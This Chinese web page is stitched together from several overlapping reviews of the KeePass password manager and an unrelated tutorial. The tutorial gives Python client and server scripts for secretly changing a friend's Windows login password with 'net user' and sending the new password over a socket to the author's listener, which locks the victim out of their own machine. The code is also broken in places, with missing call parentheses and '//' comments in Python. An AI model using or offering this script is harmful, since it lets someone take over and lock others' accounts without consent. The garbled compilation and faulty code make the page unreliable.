編也用過不少的密碼管理軟件了,對其功能的要求也越來越高 —— 這類軟件密碼管理功能大同小異,至于各類加密算法更不是我等菜鳥能明白的,只要不是低級到用明文保存,我想一般人也就夠用了。因此其附加功能就成了選擇使用的亮點。今天向大家介紹的這款密碼管理新秀 —— KeePass 密碼保險箱,就是憑其獨特的功能讓我“一旦擁有、別無所求”的,相信經過我的介紹,你也會喜歡上它的。
KeePass Password Safe
對于 KeePass 相對其它同類工具出類拔萃的優勢,我也會結合用過的其它密碼工具來介紹,這就是今天的兩個配角:KeyPass 和 Password Agent ,后者是老牌的密碼箱了,前者算得上獨特的自動登錄功能也曾讓我心儀,但當后來發現了 KeyPass 一個致命的本地安全隱患后,我一直在尋找它的替代品,直到 KeePass 的出現,我才發現 KeyPass 的自動登錄實在是不太方便。
KeePass Password Safe 就是專門為了解決人類記不得眾多密碼的問題所產生的,它包含了一個強大的密碼產生引擎與加密儲存機能,能夠提供一個安全的密碼儲存空間。當你開始使用 KeePass Password Safe 時,要先決定一個起始密碼。此密碼用來辨識你的身分,決定你是否可以使用 KeePass Password Safe 軟件,因此千萬不要忘了。啟動后你就可以開始儲存密碼,在 KeePass Password Safe 軟件中已經有一些預設的密碼分類,你可以自己再根據需要建立自己喜歡的密碼儲存分類。
KeePass Password Safe
辦公室電腦密碼、筆記本密碼、家里電腦密碼、上網帳號密碼、手機服務密碼、郵箱密碼、QQ 密碼、銀行卡查詢密碼、銀行卡交易密碼、銀行卡網上支付密碼……現在的我們需要記太多太多的密碼。縱然我們可以使一些密碼一致,但無法讓所有的密碼都一樣,到頭來,我們仍要記不少的密碼,尤其是對于掌握信息系統的人來說,密碼更多了。
實際上把密碼記下來,也不代表不安全,完全留在腦中,反而容易忘記。所以有了 KeePass。
KeePass(KeePass Password Safe)密碼管理系統是一款輕量級的,強大易用的開源密碼管理系統,使用該系統,你可以方便的對各種文件加密,你的密碼或者key文件存在數據庫中。
KeePass Password Safe
1、生成不易于破解的隨機密碼:它自帶了一個密碼生成器,可以按照指定的字符類(大小寫、數字、特殊符號)生成指定位數的密碼。
2、分類管理密碼:使用一個kdb擴展名的文件作為數據庫,你可以指定數據庫的加密算法和加密次數;密碼你可以分類別進行管理,并且雙擊時可以自動打開URL字段的網址,自動復制用戶名和密碼字段的數據;復制到剪貼板的數據可以定時清除或者只允許粘貼一次。
安全:截至此時應該沒有泄露的風險,就算數據庫丟了沒訪問密碼問題也不嚴重(它還可以使用一個文件作為加密密碼,太BT我沒有嘗試);
方便:注冊網站時首先創建一個新條目,隨機生成密碼后再填入注冊網站,方便且密碼多變。登錄各個網站時,可以直接雙擊需要復制的字段,再去登陸框粘貼即可;
簡單:沒有大多數密碼管理軟件的繁瑣,使用熟練后會非常舒心,數據庫也僅一個kdb文件,壓縮加密后放到郵箱就完成了備份;
多樣:軟件是開源的,數據庫除了在Windows可以使用,在Linux、MacOS X、PocketPC、Symbian、BlackBerry、PalmOS等都可以使用。
近在公司,同事推薦了一款強大的密碼管理工具keepass,十分方便,分享給大家。
KeePass 是一款免費的開源密碼管理器,KeePass 將密碼存儲為一個數據庫,而這個數據庫由一個主密碼或密碼文件鎖住,也就是說我們只需要記住一個主密碼,或使用一個密碼文件,就可以解開這個數據庫,就可以獲得其他的密碼內容。
可以分類管理各種密碼:文檔密碼、電腦密碼、網站密碼、QQ密碼、網絡設備密碼等等,尤其網站密碼,可以實現配置網頁自動登陸,也可以手動自動執行輸入賬號密碼,比瀏覽器存儲的cookies、excel保存密碼等傳統方式要安全很多。
軟件界面
第一次使用需要創建個管理密碼,用于打開keepass的密碼:
然后就可以創建密碼記錄了:
如圖登錄郵箱,執行手動自動輸入賬號密碼:
還可以配置通過快捷鍵自動完成登陸:
支持豐富的各類密碼插件模板:
另外還有很多很強大的功能,自動配置、移動端app、云端同步等等,仍待開發,用了你就知道了,哈哈
天教大家用python腳本來控制小伙伴們windows電腦的開機密碼。沒錯就是神不知鬼不覺,用random隨機生成的密碼,只有你自己知道哦~
代碼呢分兩部分,一部分是client端跟server端兩個。你只需要想辦法讓小伙伴運行你的client端腳本就OK啦。不過在此之前你一定要在你的電腦上運行server端哦~這樣子的話,client端會在你的小伙伴電腦上隨機生成一個密碼然后通過socket發給server端也就是發給你哦~
下面放代碼,順便加點注釋。
client端代碼:
# client.py://文件名
import socket //導入用到的模塊
import getpass
import subprocess
import random
client=socket.socket(socket.AF_INET, socket.SOCK_STREAM) //創建socket實例
client.connect(('10.0.0.1', 44444)) //連接server端IP地址/端口按你自己實際情況來
user=getpass.getuser //獲取計算機用戶名
psd='' //給一個psd變量(密碼)為空
for j in range(1, 9): //生成1-9的隨機數
m=str(random.randrange(0, 10))
psd=psd + m
subprocess.Popen(['net', 'User', user, psd]) //在本地執行(類似于cmd命令)
client.send(psd.encode('utf-8')) //將密碼發送給server端
back_msg=client.recv(1024)
client.close //關閉socket
print psd //避免出現差錯忘記密碼 先在本地打印
server端代碼:
# server.py //文件名
import socket //導入socket
server=socket.socket(socket.AF_INET, socket.SOCK_STREAM) //創建socket
server.bind(('10.0.0.1', 44444)) //綁定IP/端口
server.listen(5) //監聽
print('starting....')
conn, addr=server.accept //連接
print(conn)
print('client addr', addr)
print('ready to recv the passwd...')
client_msg=conn.recv(1024)
print('client passwd changed: %s' % client_msg)
conn.send(client_msg.upper)
conn.close
server.close
OK代碼寫完后我們開始運行一下程序(推薦在虛擬機下運行,萬一出個差錯搞不好真忘記密碼!切記切記)~
首先先在我的Linux上運行server端,來等待接收來自client端傳過來的密碼。
運行server.py腳本
然后windows運行client端,它會顯示生成的密碼
(前提是在cmd命令行下運行否則你雙擊一下會消失)
cmd下運行
現在再注銷或者是重啟輸入原始密碼就會發現密碼錯誤,怎么密碼呢也已經發到我們的server端了。
server收到密碼
如果你現在想改回密碼的話,千萬不要關機 打開cmd輸入“net user 你的用戶名 你要改變的密碼” 然后回車就ok了。
好啦,本次文章就寫到這啦。大家對什么內容感興趣歡迎給鄙人留言,鄙人會盡量照顧到大家的口味的~
*聲明:本文于網絡整理,版權歸原作者所有,如來源信息有誤或侵犯權益,請聯系我們刪除或授權事宜。